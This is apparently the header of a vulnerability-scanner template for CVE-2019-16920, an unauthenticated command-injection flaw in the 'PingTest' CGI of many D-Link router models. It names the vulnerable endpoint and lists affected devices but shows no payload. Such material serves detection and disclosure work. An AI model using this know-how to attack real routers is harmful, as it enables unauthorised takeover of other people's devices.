id: CVE-2019-16920

info:
  name: Unauthenticated Multiple D-Link Routers RCE
  author: dwisiswant0
  severity: critical
  description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
